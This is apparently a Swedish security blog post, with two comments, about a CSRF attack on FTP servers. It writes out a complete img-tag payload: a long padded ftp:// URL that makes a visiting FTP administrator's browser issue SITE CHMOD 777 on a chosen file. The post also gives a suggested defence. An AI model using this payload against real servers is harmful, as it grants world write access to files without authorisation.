Attackeraren kan på sin sajt ha en sån här image-tagg:
<img src="ftp://ftp.sun.com/////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////
//////////////////////SITE%20CHMOD%20777%20valfritt filnamn";>
Om en ftp-adminstratör surfar in på den sidan så ändras behörigheten på filen till 777, dvs fullständiga rättigheter för alla användare.
Hur skydda sig?
OK, en vanlig CSRF, eller? Nja, vi är ju vana vid att skydda oss mot CSRF i webbapplikationer med hjälp av synkroniserings- eller flödesbiljetter (ViewState, synchronizer token eller forced browsing). Men ftp har inget naturligt sätt att lägga till biljetter mellan anrop.
Det föreslagna skyddet är att inte tillåta långa ftp-kommandon.
[Jag har mejlat Maksymilian Arciemowicz för att fråga om en del detaljer som inte verkar klara. Återkommer om jag får klargörande svar.]
2 kommentarer:
John,
Din exempel src="" måste ha en ftp:// och lite annat först dock, för att verkligen bli FTP...
Tack. Jag hade nog för mycket fokus på radbrytningarna :).
Fick svar från Maksymilian men jag kan inte säga att jag förstår. Lite språkförbistring tror jag.
Skicka en kommentar